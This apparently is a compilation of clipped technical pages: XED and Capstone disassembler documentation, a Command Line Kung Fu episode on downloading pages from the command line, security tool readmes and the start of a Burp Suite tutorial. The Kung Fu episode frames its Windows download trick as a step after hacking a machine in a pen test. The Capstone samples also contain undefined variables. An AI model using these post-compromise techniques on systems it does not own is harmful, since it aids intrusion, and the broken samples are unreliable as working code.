and written\) and the second operand is just a source \(read\).

For decode requests \(xed\_decoded\_inst\_t\), the operands array is stored in
the xed\_inst\_t strcture once the instruction is decoded. For encode
requests, the request's operand order is stored in the
xed\_encoder\_request\_t.

There are several types of operands:

  1. registers \(xed\_reg\_enum\_t\)
  2. branch displacements
  3. memory operations \(which include base, index, segment and memory displacements\)
  4. immediates
  5. pseudo resources \(which are listed in the xed\_reg\_enum\_t\)

Each operand has two associated attributes: the R/W action and a visibility.
The R/W actions \(xed\_operand\_action\_enum\_t\) indicate whether the operand
is read, written or both read-and-written, or conditionally read or written.
The visibility attribute \(xed\_operand\_visibility\_enum\_t\) is described in
the next subsection.

The memory operation operand is really a pointer to separate fields that hold
the memory operation information. The memory operation information is
comprised of:

  1. a segment register
  2. a base register
  3. an index register
  4. a displacement

There are several important things to note:

  1. There can only be two memory operations, MEM0 and MEM1.
  2. MEM0 could also be an AGEN -- a special operand that uses memory information but does not actually read memory. This is only used for the LEA instruction.
  3. There can only be an index and displacement associated with MEM0.
  4. There is just one displacement associated with the common fields. It could be associated with either the AGEN/MEM0 or with a branch or call instruction.

### Operand Resource Visibilities

See xed\_operand\_visibility\_enum\_t .

There are 3 basic types of resource visibilites:

  1. EXPLICIT \(EXPL\),
  2. IMPLICIT \(IMPL\), and
  3. IMPLICIT SUPPRESSED \(SUPP\) \(usually referred to as just "SUPPRESSED"\).

Explicit are what you think they are: resources that are required for the
encoding and for each explicit resource, there is field in the corresponding
instruction encoding. The implicit and suppressed resources are a more subtle.

SUPP operands are:

  1. not used in picking an encoding,
  2. not printed in disassembly,
  3. not represented using operand bits in the encoding.

IMPL operands are:

  1. used in picking an encoding,
  2. expressed in disassembly, and
  3. not represented using operand bits in the encoding \(like SUPP\).

The implicit resources are required for selecting an encoding, but do not show
up as a specific field in the instruction representation. Implicit resources
do show up in a conventional instruction disassembly. In the IA-32 instruction
set or Intel64 instruction set, there are many instructions that use EAX or
RAX implicitly, for example. Sometimes the CL or RCX register is implicit.
Also, some instructions have an implicit 1 immediate. The opcode you chose
fixes your choice of implicit register or immediate.

The suppressed resources are a form of implicit resource, but they are
resources not required for encoding. The suppressed operands are not normally
displayed in a conventional disassembly. The suppressed operands are emitted
by the decoder but are not used when encoding. They are ignored by the
encoder. Examples are the stack pointer for PUSH and POP operations. There are
many others, like pseudo resources.

The explicit and implicit resources are expressed resources -- they show up in
disassembly and are required for encoding. The suppressed resources are
considered a kind of implicit resources that are not expressed in ATT System V
or Intel disassembly formats.

The suppressed operands are always after the implicit and explicit operands in
the operand order.

### Pseudo Resources

Some instructions reference machine registers or perform interesting
operations that we need to represent. For example, the IDTR and GDTR are
represented as pseudo resources. Operations that pop the x87 floating point
register stack can have a X87POP or X87POP2 "register" to indicate if the x87
register stack is popped once or twice. These are part of the
xed\_reg\_enum\_t.

### Immediates and Displacements

Using the API functions for setting immediates, memory displacements and
branch displacements. Immediates and Displacements are stored in normal
integers internally, but they are stored endian swapped and left justified.
The API functions take care of all the endian swapping and positioning so you
don't have to worry about that detail.

Immediates and displacements are different things in the ISA. They can be 1,
2, 4 or 8 bytes. Branch displacements \(1, 2 or 4 bytes\) and Memory
displacements \(1, 2, 4 or 8 bytes\) refer to the signed constants that are
used for relative distances or memory "offsets" from a base register
\(including the instruction pointer\) or start of a memory region.

Immediates are signed or unsigned and are used for numerical computations,
shift distances, and also hold things like segment selectors for far pointers
for certain jump or call instructions.

There is also a second 1B immedate used only for the ENTER instruction.

XED will try to use the shortest allowed width for a displacement or
immediate. You can control XED's selection of allowed widths using a notion of
"legal widths". A "legal width" is a binary number where each bit represents a
legal desired width. For example, when you have a valid base register in 32 or
64b addressing, and a displacement is required, your displacement must be
either 1 byte or 4 bytes long. This is expressed by OR'ing 1 and 4 together to
get 0101 \(base 2\) or 5 \(base 10\).

If a four byte displacement was required, but the value was representable in
fewer than four bytes, then the legal width should be set to 0100 \(base 2\)
or 4 \(base 10\).

========================================================================================

## API Reference

========================================================================================

  * INIT Initialization
  * DEC Decoding instructions
  * ENC Encoding instructions
  * OPERANDS Operand storage fields
  * PRINT Printing \(disassembling\) instructions
  * REGINTFC Register interface functions
  * FLAGS Flags interface functions
  * Examples Examples

========================================================================================

## Porting from XED0 to XED2

========================================================================================

XED0 was written in C++, and XED2 is written in C. The port from XED0 to XED2
is relatively, but not completely, mechanical.

Generally speaking, one takes the name of a class in XED0 and prepends it to
the name of the XED0 method function to get the XED2 function.

If you are using C++, when you include the "xed-interface.h" header, you must
wrap it:

[code]

    extern "C" {
    #include "xed-interface.h"
    }
    
[/code]

The wrapping is obviously not required for C users. All the headers now have
the .h extension instead of .H.

In XED0, there was a xed\_common\_fields\_t class that was common to encode
and decode. In XED2, the shared data structure is an array of
xed\_operand\_values\_t elements. The elements are basically integers
accessible via the Operand storage fields interface.

In XED0 there was a "xed\_decoded\_resource\_t" type. This type has been
removed and is subsumed by the xed\_operand\_t operands array associated with
each decoded instruction. The operands array is accessed from the xed\_inst\_t
and the xed\_inst\_operand\(\) function. Encode requests now have a separate
encode order array updated by the xed\_encoder\_request\_set\_operand\_order
function.

If you used XED0's ostream operators they are gone. They were just simple
wrappers for my "enum2str\(\)" functions which continue to exist. So

[code]

    xed_iclass_t iclass = xedd->get_iclass();
    cout << iclass << endl;
    
[/code]

becomes

[code]

    xed_iclass_enum_t iclass = xed_decoded_inst_get_iclass(xedd);
    cout << xed_iclass_enum_t2str(iclass) << endl;
    
[/code]

Here are some common changes one has to make.

[code]

                XED:: -> (nothing)
                xed_iclass_t -> xed_iclass_enum_t 
                xedregs_t -> xed_reg_enum_t
                XEDICLASS_ -> XED_ICLASS_
                XEDREG_ -> XED_REG_
                using namespace XED;  -> (remove)
                #include "xed-interface.H" -> extern "C" {\n#include "xed-interface.h"\n}\n
                #include "xed-iclass.H" -> extern "C" {\n#include "xed-iclass-enum.h"\n}\n
                #include "xed-category.H" -> extern "C" {\n#include "xed-category-enum.h"\n}\n
                #include "xed-extension.H" -> extern "C" {\n#include "xed-extension-enum.h"\n}\n
                xedd->xed_get_base_reg(0) -> xed_decoded_inst_get_base_reg(xedd,0);
                xedd->xed_get_index_reg(0) -> xed_decoded_inst_get_index_reg(xedd,0);
                the XED_ROLE_* are generally replaced with corresponding XED_OPERAND_* but now
                   instead of XED_ROLE_NORMAL you specify which register operand.
    
[/code]

Far direct pointer storage has changed. In XED0, far direct pointers were
stored in a 6B immediate on IA32. In XED2 there is a 4B displacement and 2B
segment selector stored in the immediate.

Encoding immediates, branch displacements and memory displacements: In XED0,
there were function calls for building a xed\_immdis\_t that incorporated a
legal\_widths bit mask. In XED2, while I support a C implementation of
xed\_immdis\_t, I discourage its use. Instead, there are functions for finding
the shortest legal width of a signed or unsigned number
\(xed\_shortest\_width\_signed, xed\_shortest\_width\_unsigned\). Using that
length, you can then call xed\_encoder\_request\_set\_memory\_displacement,
xed\_encoder\_request\_set\_branch\_displacement,
xed\_encoder\_request\_set\_simm, xed\_encoder\_request\_set\_uimm0, or
xed\_encoder\_request\_set\_uimm1 .

========================================================================================

## Questions? Bugs?

========================================================================================

Send bugs and questions to mark.charney@intel.com. Complete bug reports that
are easy to reproduce are fixed faster, so try to provide as much information
as possible. Include: kit number, your OS version, compiler version. Try to
reproduce the problem in a simple example that you can send us.

========================================================================================

## Disclaimer and Legal Information

========================================================================================

The information in this manual is subject to change without notice and Intel
Corporation assumes no responsibility or liability for any errors or
inaccuracies that may appear in this document or any software that may be
provided in association with this document. This document and the software
described in it are furnished under license and may only be used or copied in
accordance with the terms of the license. No license, express or implied, by
estoppel or otherwise, to any intellectual property rights is granted by this
document. The information in this document is provided in connection with
Intel products and should not be construed as a commitment by Intel
Corporation.

EXCEPT AS PROVIDED IN INTEL'S TERMS AND CONDITIONS OF SALE FOR SUCH PRODUCTS,
INTEL ASSUMES NO LIABILITY WHATSOEVER, AND INTEL DISCLAIMS ANY EXPRESS OR
IMPLIED WARRANTY, RELATING TO SALE AND/OR USE OF INTEL PRODUCTS INCLUDING
LIABILITY OR WARRANTIES RELATING TO FITNESS FOR A PARTICULAR PURPOSE,
MERCHANTABILITY, OR INFRINGEMENT OF ANY PATENT, COPYRIGHT OR OTHER
INTELLECTUAL PROPERTY RIGHT. Intel products are not intended for use in
medical, life saving, life sustaining, critical control or safety systems, or
in nuclear facility applications.

Designers must not rely on the absence or characteristics of any features or
instructions marked "reserved" or "undefined." Intel reserves these for future
definition and shall have no responsibility whatsoever for conflicts or
incompat- ibilities arising from future changes to them.

The software described in this document may contain software defects which may
cause the product to deviate from published specifications. Current
characterized software defects are available on request.

Intel, the Intel logo, Intel SpeedStep, Intel NetBurst, Intel NetStructure,
MMX, Intel386, Intel486, Celeron, Intel Centrino, Intel Xeon, Intel XScale,
Itanium, Pentium, Pentium II Xeon, Pentium III Xeon, Pentium M, and VTune are
trademarks or registered trademarks of Intel Corporation or its subsidiaries
in the United States and other countries.

Other names and brands may be claimed as the property of others.

# Command Line Kung Fu: Episode \#70: The Tangled Web

**Created:**| _11/24/2009 7:18:16 PM_  
---|---  
**Updated:**| _11/24/2009 7:18:24 PM_  
**Author:**| __  
**Tags:**| _commandline-kungfu_  
  

### Episode \#70: The Tangled Web

Hal gets a soft one this week  
  
Lately we've had some of our loyal readers-- mostly the Windows folk-- asking
about command-line tools for accessing web pages. When these questions come
up, I just smile serenely, because it's easy to do this in Unix. Ed and Tim on
the other hand turn a little green and start sweating.  
  
Among the Unix tribes, there seem to be two popular command-line tools for
grabbing web pages. Some folks prefer curl, but I generally stick with wget
since it's the tool I learned first. Both curl and wget support HTTP, HTTPS,
and FTP as well as proxies of various types along with different forms of
authentication. curl also supports other protocols like TFTP, FTPS \(FTP over
SSL\), and SCP and SFTP.  
  
Using wget couldn't be simpler:  
  

[code]

    $ **wgetblog.commandlinekungfu.com**  
    --2009-11-18 18:47:51--  http://blog.commandlinekungfu.com/  
    Resolving blog.commandlinekungfu.com... 74.125.113.121  
    Connecting to blog.commandlinekungfu.com|74.125.113.121|:80... connected.  
    HTTP request sent, awaiting response... 200 OK  
    Length: unspecified [text/html]  
    Saving to: `index.html'  
      
      [                      <=>              ] 173,805     18.3K/s   in 9.3s    
      
    2009-11-18 18:48:01 (18.3 KB/s) - `index.html' saved [173805]
    
[/code]

  
  
Or, if you don't like all the noisy chatter, you can use the "-q" option:  
  

[code]

    $ **wget -qblog.commandlinekungfu.com**  
    $ **ls**  
     index.html  index.html.1
    
[/code]

  
Notice that wget doesn't overwrite the first index.html file we downloaded.
Instead it appends a uniqe number to the file name. If we downloaded another
index.html file, it would end up as index.html.2 and so on. You can also use
"-O" to specify an output file name.  
  
Maybe my favorite feature, however, is the "-r" \(recursive\) option that
allows me to grab an entire tree of content in a single operation. So all I
have to do when I want to back up the content here at Command Line Kung Fu is
just run "wget -r -q blog.commandlinekungfu.com" and wait a few minutes for
everything to download.  
  
There are lots of other neat features to wget, but I think I've already
demoralized my Windows brethren enough for one Episode. Let's see what Ed and
Tim cook up.  
  
Tim orders take-out:  
Unfortunately \(again\), there isn't a built-in cmdlet to do the equivalent of
wget or curl, but we can access the .NET libraries and recreate some of the
functionality of the Linux commands. By default, the .NET Framework supports
URIs that begin with http:, https:, ftp:, and file: scheme identifiers, so it
isn't quite as full featured as Linux, but it is all we have.  
  

[code]

    PS C:\> **(New-Object System.Net.WebClient).DownloadString(  
     "http://blog.commandlinekungfu.com")**  
      
    <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"  
    "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">  
    ...
    
[/code]

  
  
This will grab files in text format and it can be used further down the
pipeline, such as saving the file by piping it in to Out-File. What if we want
to grab non-text files or just download the file? We can use the DownloadFile
method and specify where we want to save the file.  
  

[code]

    PS C:\> **(New-Object System.Net.WebClient).DownloadFile(  
     "http://blog.commandlinekungfu.com","c:\downloadedfile.html")**
    
[/code]

  
  
What happens if the file doesn't exist? It raises an 404 error and the file
\(obviously\) isn't opened.  
  

[code]

    PS C:\> **(New-Object System.Net.WebClient).DownloadString(  
     "http://blog.commandlinekungfu.com/NonExistant.file")**  
      
    Exception calling "DownloadString" with "1" argument(s): "The remote  
    server returned an error: (404) Not Found."  
    At line:1 char:49  
    + (New-Object System.Net.WebClient).DownloadString( <<<<  
    "http://blog.commandlinekungfu.com/NonExistant.file")  
    
    
[/code]

  
  
Sadly, there isn't way to recursive requests without doing some heavy duty
scripting.  
  
Ed Sits Here Trying Not To Think About What Hal Called His Part of this
Article:  
Ahhh... an age-old question. I remember about a year ago, I was having a
discussion with Kevin Johnson, bon vivant and web attacker extraordinaire,
when this issue came up. I posed the following question to KJ0 \(as we call
him\): "Suppose you've just hacked a Windows box in a pen test. You have
command shell access of said machine. Tell me what you want to do now, using
only built in command-line capabilities." I went further, boldly mixing my
metaphors: "Consider me as /dev/WindowsCommandLine... where do you want to go
today?"  
  
Kevin shrugged, smiled, and said, "Easy... wget."  
  
I felt a piercing pain stab at my heart. "The wget tool has sooo many
options... can we scale it back a bit? What do you reallywant to do?" Kevin
said, "Sure... I just wanna fetch a web page and write it to the file system.
How can I do that at the command line in Windows?"  
  
I spent a little time fitzing around with various Windows commands, and
ultimately settled on using the built-in Windows telnet client to formulate
HTTP requests manually. It's crude, but works.  
  
"But, Ed," you argue, "Microsoft removed the telnet client from Windows Vista
and some of the 6 million versions of Windows 7." I respond: Yes, it's no
longer installed by default, but on the professional versions of Vista and 7,
you can run:  
  

[code]

    C:\> start /w pkgmgr /iu:"TelnetClient"
    
[/code]

  
  
Even if it doesn't finish, kill that cmd.exe, and you should have the Telnet
Client ready to run. Note that the installation package for the telnet client
is built-in, but the tool itself just isn't installed. The machine doesn't
have to reach out to the Internet to get it. Also, note that /iu stands for
install update, you need that :, and you should observe the case of the Cap-T
and Cap-C in TelnetClient. Oh, and by the way... if you want the Telnet
service, change "TelnetClient" to "TelnetServer". To remove either after
you've installed, it, run the same command, except substitute /uu: \(uninstall
update\) for /iu:.  
  
So, now equipped with the telnet client, let's make an HTTP request.  
  
Now, you might think that we should simply echo an HTTP request and pipe it
into the telnet client, right? Bzzzzzt. Sorry, my friend, but the Windows
telnet client doesn't like anything to come into its Standard Input at the
command line, and it certainly doesn't send it to the target machine. Try
sniffing it sometime. Another annoying part about the Windows telnet client is
that it doesn't like you to touch its Standard Output. The telnet client is
somehow clairvoyant, and if you follow it with a > or a |, it knows and
refuses to send any packets. Gee, thanks, Microsoft.  
  
For this one, we're going to have to go interactive.  
  

[code]

    C:\> telnet -f log.txt
    
[/code]

  
I'm logging output to the file log.txt, where our output will reside.  
  
At our new telnet prompt, we can open a connection to port 80 on our
destination web server. We'll use the "o" option to open a connection:  
  

[code]

    Microsoft Telnet> o www.google.com 80  
    Connecting To www.google.com...
    
[/code]

  
Now, depending on the version of Windows you are using, it may or may not look
like a connection is made. Either way, just trust that it has, and start
typing your HTTP request. Typically, you'll be getting a page, which you can
do by entering:  
  

[code]

    GET [pagename] HTTP/1.1  
    Host: [TheHostName]
[/code]

  
Hit Enter Enter at the end, and you'll have the page displayed on your screen.
Hit Enter again, and you'll get back to your telnet prompt. Type "quit" to
exit.  
  
More importantly, you should now have your page in the output file log.txt.
Yes, you'll have the HTTP response header in front of it, but that's not so
bad. It's ugly, but it'll let you grab a file quickly from a server.

# Capstone - Access information of operands.

**Created:**| _3/26/2015 5:27:40 PM_  
---|---  
**Updated:**| _3/26/2015 5:27:40 PM_  
**Author:**| __  
**Tags:**| _reversing_  
  

## Retrieve access information of instruction operands

### 1\. Get access info of registers

Now available in the Github branch next, Capstone provides a new API named
**cs\_regs\_access\(\)**. This function can retrieve the list of all registers
_read_ or _modified_ \- either implicitly or explicitly - by instructions.

  
  
The C sample code below demonstrates how to use _cs\_regs\_access_ on X86
input.

[code]

     1 #include <stdio.h>
     2
     3 #include <capstone/capstone.h>
     4
     5 #define CODE "\x8d\x4c\x32\x08\x01\xd8"
     6
     7 int main(void)
     8 {
     9   csh handle;
    10   cs_insn *insn;
    11   size_t count, j;
    12   cs_regs regs_read, regs_write;
    13   uint8_t read_count, write_count, i;
    14
    15   if (cs_open(CS_ARCH_X86, CS_MODE_32, &handle) != CS_ERR_OK)
    16     return -1;
    17
    18   cs_option(handle, CS_OPT_DETAIL, CS_OPT_ON);
    19
    20   count = cs_disasm(handle, CODE, sizeof(CODE)-1, 0x1000, 0, &insn);
    21   if (count > 0) {
    22     for (j = 0; j < count; j++) {
    23       // Print assembly
    24       printf("%s\t%s\n", insn[j].mnemonic, insn[j].op_str);
    25
    26       // Print all registers accessed by this instruction.
    27       if (cs_regs_access(ud, ins,
    28             regs_read, &read_count,
    29             regs_write, &write_count) == 0) {
    30         if (read_count > 0) {
    31           printf("\n\tRegisters read:");
    32           for (i = 0; i < read_count; i++) {
    33           	printf(" %s", cs_reg_name(handle, regs_read[i]));
    34           }
    35           printf("\n");
    36         }
    37
    38         if (write_count > 0) {
    39           printf("\n\tRegisters modified:");
    40           for (i = 0; i < write_count; i++) {
    41             printf(" %s", cs_reg_name(handle, regs_write[i]));
    42           }
    43           printf("\n");
    44         }
    45       }
    46     }
    47
    48     cs_free(insn, count);
    49   } else
    50   	printf("ERROR: Failed to disassemble given code!\n");
    51
    52   cs_close(&handle);
    53
    54   return 0;
    55 }
[/code]

  
  
Compile and run this sample, we have the output as followings.

[code]

    lea	ecx, [edx + esi + 8]
    
    	Registers read: edx esi
    	Registers modified: ecx
    
    add	eax, ebx
    
    	Registers read: eax ebx
    	Registers modified: eflags eax
[/code]

  
  
Below is the explanation for important lines of the above C sample.

  * Line 12: Declare variables _regs\_read_ & _regs\_write_ of data type _cs\_regs_ to keep the list of registers being read or modified later. Note that _cs\_regs_ is actually a data type of an array of _uint16\_t_.
  * Line 15 ~ 18: Intialize X86 engine, then turn on the _DETAIL_ mode, which is required to get the access information of operands & registers.
  * Line 20 ~ 24: Disassemble input code, then print out the assembly of all the instructions.
  * Line 27 ~ 29: Retrieve access information of registers with _cs\_regs\_access\(\)_. After this, _regs\_read_ & _regs\_write_ keep all the registers being read & modified by current assembly instructions. Meanwhile, _read\_count_ & _write\_count_ contain number of registers kept inside array _regs\_read_ & _regs\_write_ , respectively.
  * Line 30 ~ 36: If there are registers being read \(see the checking condition _read\_count > 0_\), print out these registers inside _regs\_read_ array. Register name is retrieved with the API _cs\_reg\_name\(\)_.
  * Line 38 ~ 44: If there are registers being modified \(see the checking condition _write\_count > 0_\), print out these registers inside _regs\_write_ array.

  
  
For those readers more familiar with Python, the below code does the same
thing as the above C sample.

[code]

     1 from capstone import *
     2
     3 CODE = b"\x8d\x4c\x32\x08\x01\xd8"
     4
     5 md = Cs(arch, mode)
     6 md.detail = True
     7
     8 for insn in md.disasm(code, 0x1000):
     9 	print("%s\t%s" % (insn.mnemonic, insn.op_str))
    10
    11 	(regs_read, regs_write) = insn.regs_access()
    12
    13 	if len(regs_read) > 0:
    14 		print("\n\tRegisters read:", end="")
    15 		for r in regs_read:
    16 			print(" %s" %(insn.reg_name(r)), end="")
    17 		print()
    18
    19 	if len(regs_write) > 0:
    20 		print("\n\tRegisters modified:", end="")
    21 		for r in regs_write:
    22 			print(" %s" %(insn.reg_name(r)), end="")
    23 		print()
[/code]

  
  
Below is the explanation for important lines of this Python sample.

  * Line 5 ~ 6: Intialize X86 engine, then turn on the _DETAIL_ mode, which is required to get the access information of operands & registers.
  * Line 8 ~ 9: Disassemble input code, then print out the assembly of all the instructions.
  * Line 11: Retrieve access information of registers with _regs\_access\(\)_ method. After this, the lists of _regs\_read_ & _regs\_write_ keep all the registers being read & modified by current assembly instructions.
  * Line 13 ~ 17: If there are registers being read \(see the checking condition for the length of _regs\_read_\), print out these registers inside the list _regs\_read_. Register name is retrieved with method _reg\_name\(\)_.
  * Line 19 ~ 23: If there are registers being modified \(see the checking condition for the length of _regs\_write_\), print out these registers inside the list _regs\_write_.

* * *
### 2\. Get access info of operands

For instruction operands, besides the information such as _size_ & _type_ ,
now we can retrieve the access information. This is possible thanks to the new
field _cs\_x86\_op.access_ in _x86.h_.

  * The value _CS\_AC\_READ_ indicates this operand is read.
  * The value _CS\_AC\_WRITE_ indicates this operand is modified.
  * The value _\(CS\_AC\_READ_ | _CS\_AC\_WRITE\)_ indicates this operand is read first, then modified later.
  * The value _CS\_AC\_INVALID_ indicates this operand is not accessed, for example _immediate_ operand.

  
  
With the help of _cs\_x86\_op.access_ , we can find out how each instruction
operand is accessed, like below.

[code]

    lea	ecx, [edx + esi + 8]
    	Number of operands: 2
    		operands[0].type: REG = ecx
    		operands[0].access: WRITE
    
    		operands[1].type: MEM
    		operands[1].access: READ
    
    add	eax, ebx
    	Number of operands: 2
    		operands[0].type: REG = eax
    		operands[0].access: READ | WRITE
    
    		operands[1].type: REG = ebx
    		operands[1].access: READ
[/code]

* * *
### 3\. Status register update

Arithmetic instructions might update status flags. In X86 case, this is the
_EFLAGS_ register. Capstone does not only tell you that _EFLAGS_ is modified,
but can also provide details on individual bits inside _EFLAGS_. Examples are
_CF_ , _ZF_ , _OF_ , _SF_ flags and so on.

On X86, this information is available in the field _cs\_x86.eflags_ , which is
bitwise _OR_ of _X86\_EFLAGS\_\*_ values. Again, this requires the engine to
be configured in _DETAIL_ mode.

  
  
See the screenshot below for what this feature can provide.

<img src='img/Temp2_1383.png' width='800px' />

* * *
### 4\. More examples

Find the full sample on how to retrieve information on operand access in
source of test\_x86.c or test\_x86.py.

# nccgroup/WindowsDACLEnumProject

**Created:**| _10/21/2013 8:34:26 AM_  
---|---  
**Updated:**| _10/21/2013 8:34:26 AM_  
**Author:**| __  
**Tags:**| __  
  

# **W** indows DACL Enum Project****

A collection of tools to enumerate and analyse Windows DACLs

Released as open source by NCC Group Plc - http://www.nccgroup.com/

Developed by Ollie Whitehouse, ollie dot whitehouse at nccgroup dot com

https://github.com/nccgroup/WindowsDACLEnumProject

Released under AGPL see LICENSE for more information

##  Overview of Windows DACLs and ACEs****

Read - http://msdn.microsoft.com/en-
us/library/windows/desktop/aa446597\(v=vs**.** 85\).aspx

##  Tool \#1: Process Perms****

######  Features****

The first tools released as part of this project**.** Will enumerate:

  * Processes and the integrity level and user they are running as**.**
  * Optionally: the DACLs associated with the process object**.**
  * Optionally: the threads for a process and the DACLs associated with them**.**
  * Optionally: The modules loaded by a process
  * Optionally: Exclude non mapped SIDs from the output

The tool will automatically flag any suspicious DACLs**.**

######  Command Line Options****

The command line take the following options:

  * -p Process permissions
  * -m Modules
  * -t Threads and permissions
  * -o \[PID\]
  * -x exclude non mapped SIDs from alerts

######  Typical Usage****

Typical usage will be with a command line such as: processperms -px

The tool is designed for Windows Vista / Server 2008 and higher due to
integrity level awareness**.**

######  Screenshot****

Designed for Windows Vista / Server 2008 and higher due to integrity level
awareness**.**

<img src='img/Temp2_10488.png' alt='ScreenShot' />

****

# 恶意代码检测 虚拟机脱壳. Rootkit检测 木马检测

**Created:**| _11/11/2012 8:49:13 AM_  
---|---  
**Updated:**| _11/11/2012 8:49:13 AM_  
**Author:**| __  
**Tags:**| _rootkits kernel_  
  

## Rootkit检测 木马检测

##

  * Home
  * 联系我

<img src='img/Temp2_10815.png' alt='Subscribe to the Blog Feed (RSS)' />

# 恶意代码检测 虚拟机脱壳

# \[2012.10.25\]发布一个XueTr-火眼合作版本,详情以后在http://t.qq.com/linxer发布,欢迎收听

热度:| <img src='img/Temp2_10814.png' width='10' height='10' />| <img
src='img/Temp2_10814.png' width='10' height='10' />| <img
src='img/Temp2_10814.png' width='10' height='10' />| <img
src='img/Temp2_10814.png' width='10' height='10' />| <img
src='img/Temp2_10814.png' width='10' height='10' />  
---|---|---|---|---|---  
一个强大的手工杀毒工具，目前暂时只支持32位的2000、xp、2003、vista、2008和Win7操作系统，等忙完这阵，会购买微软的数字签名以开发支持64位和Windows8的XueTr，请大家拭目以待。  
**下载点我\(md5:D4B3E3A5B1FEE871A610422220C0506A\)**

作者QQ微博：**http://t.qq.com/linxer** 欢迎收听，以后XueTr情况会在这里发布。

从0.44版本开始，XT中加入了捐赠信息，在此对捐赠者表示感谢。**查看捐赠名单** 。

本工具目前实现如下功能：  
1.进程、线程、进程模块、进程窗口、进程内存、定时器、热键信息查看，杀进程、杀线程、卸载模块等功能  
2.内核驱动模块查看，支持内核驱动模块的内存拷贝  
3.SSDT、Shadow
SSDT、FSD、KBD、TCPIP、Classpnp、Atapi、Acpi、SCSI、IDT、GDT信息查看，并能检测和恢复ssdt
hook和inline hook  
4.CreateProcess、CreateThread、LoadImage、CmpCallback、BugCheckCallback、Shutdown、Lego等Notify
Routine信息查看，并支持对这些Notify Routine的删除  
5.端口信息查看，目前不支持2000系统  
6.查看消息钩子  
7.内核模块的iat、eat、inline hook、patches检测和恢复  
8.磁盘、卷、键盘、网络层等过滤驱动检测，并支持删除  
9.注册表编辑  
10.进程iat、eat、inline hook、patches检测和恢复  
11.文件系统查看，支持基本的文件操作  
12.查看（编辑）IE插件、SPI、启动项、服务、Host文件、映像劫持、文件关联、系统防火墙规则、IME  
13.ObjectType Hook检测和恢复  
14.DPC定时器检测和删除  
15.MBR Rootkit检测和修复  
16.内核对象劫持检测  
17.WorkerThread枚举

免责声明：这只是一个免费的辅助小工具，如果您使用本工具，给您直接或者间接造成损失、损害，本人概不负责。从您使用本小工具的一刻起，将视为您已经接受了本免责声明。

# Review Board | Downloads
**Created:**| _12/20/2010 10:10:47 PM_  
---|---  
**Updated:**| _12/20/2010 10:10:59 PM_  
**Author:**| __  
**Tags:**| _security tools code-review web awesome_  
  

# Downloads

## Releases

  * Review Board 1.5.1 \[Release Notes\]
  * RBTools 0.2 \[Release Notes\]

New Review Board releases are downloaded and installed automatically through
our installer. See the Administration Guide for instructions.

All releases can be manually downloaded from our releases directory.

## Nightly Builds

If you want to use the latest and greatest in-development builds of Review
Board, you can install our nightly builds, generated at around midnight
Pacific Standard Time. See the Administration Guide for instructions.

Note that these builds can be unstable, so use at your own risk. We do try to
keep them as bug-free as possible, though.

Nightlies can be manually downloaded from our nightlies directory.

## Bleeding Edge \(Git\)

Review Board's Git tree can be checked out by typing the following on the
command line:

[code]

    $ git clone git://github.com/reviewboard/reviewboard.git
    
    
[/code]

You will also need a bleeding edge install of Djblets, which you can get by
typing the following:

[code]

    $ git clone git://github.com/djblets/djblets.git
    
    
[/code]

You can view the various Review Board repositories at the official Review
Board GitHub page.

For more information, including installation and contribution instructions,
see the Code Base Documentation.

# Linux > More on USER ID, Password, and Group management

**Created:**| _1/7/2010 8:03:52 PM_  
---|---  
**Updated:**| _1/7/2010 8:03:59 PM_  
**Author:**| __  
**Tags:**| _bookmark_  
  

# Linux > More on USER ID, Password, and Group management

by NIXCRAFT · 7 COMMENTS

<img src='img/Temp2_4939.png' />

In order login into Linux system \(over ssh or other services \) you need a
username and password.  
Username and password stored in /etc/passwd and /etc/shadow file respectively.
When you supplies password, it encrypts and compare with password stored in
/etc/shadow, which is also in, encrypted format \(it was stored when you or
system administrator registers/updates it\). If both are equal, you are in.
Once logged in, you become the number to Linux kernel. You can obtain your
user id and other information using id command:

**$ id**  
 _uid=1002\(vivek\) gid=1002\(vivek\) groups=1002\(vivek\), 0\(wheel\)_

Where,  
=> Username = vivek  
=> User numeric id \(uid\) = 1002

Numbers are uses to represent users and groups in Linux kernel because:  
1\) Simplified user and group management  
2\) Security management easy  
3\) Your UID applied to all files you create

It is always good idea to use the UID more than 1000 for all users for
security reason.

### Zero UID

The UID number 0 is special and used by the root user. The zero \(0\) UID
enjoys the unrestricted/unlimited access to Linux system. Note that 0 UID
assigned to name root; if you wish you can change this \(poorly written
program may fail\) and assign different name.

Similarly, you have group id \(GID\). It is use by Linux to refer group names.
Single user can be member of multiple groups. This result into very good
flexibility for access the system and the sharing files. Many UNIX system uses
wheel group as power user group. Like the UID value, zero GID value zero
enjoys the unrestricted/unlimited access to Linux system.

Some time Linux and other UNIX like \(FreeBSD, Solaris etc\) uses EUID, RUID,
and SUID concept.

### The Effective User ID \(EUID\)

It is use to determine what level of access the current process has. When EUID
is zero then the process has unrestricted/unlimited access. Following commands
can be used to print Effective User ID under Linux:  
`$ whoami  
$ id -un  
`

### The Real User ID \(RUID\):

It is use to identify who you actually are. Once it is setup by system
\(usually login program\) it cannot be change till your session terminates.
You cannot change your RUID. Only root \(or person having zero UID\) can
change the RUID. Use the command id as follows to obtain Real user ID:  
`$ id –ru`

### The Saved User ID \(SUID\):

When new process / executable file such as passwd, started the effective user
id that is in force at the time is copied to the saved user id. Because of
this feature, you are able to update your own password stored in /etc/shadow
file. Off course, executable file must have set-user-id bit on in order to
setuid \(system call\). Before process ending itself it switches back to SUID.

In short,

  * **RUID** : Identify the real user, normal user cannot change it.
  * **EUID** : Decides access level, normal user can change it.
  * **SUID** : Saves the EUID, normal user cannot change it.
  * **Real Group ID** : Identify the real group
  * **Effective Group ID and Supplementary group ID **: Decides access level

Note that access level means kernel can determine whether you have access to
devices, files etc.

# Burp Suite Tutorial – The Intruder Tool « Security Ninja

**Created:**| _3/13/2010 1:17:18 PM_  
---|---  
**Updated:**| _3/13/2010 1:17:38 PM_  
**Author:**| __  
**Tags:**| _web-app-sec security tools web Tutorials howto_  
  

## Burp Suite Tutorial – The Intruder Tool

Hi everyone,

I have been spending some time this week reviewing some of the old Security
Ninja blog posts now that we are getting close to our second birthday. I
wanted to create a list of things I’ve promised to write about but never got
around to doing.

The first item on my list is a tutorial for the Burp Suite. If you Google
“Burp Suite Tutorial” my blog post from 2008 saying I was going to write a
tutorial is the 7th result returned. The old Security Ninja blog has received
over 2,000 visits to that blog post including an additional 30 visits so far
in March.

**What is the Burp Suite?**

Burp Suite is an integrated platform for attacking web applications. It
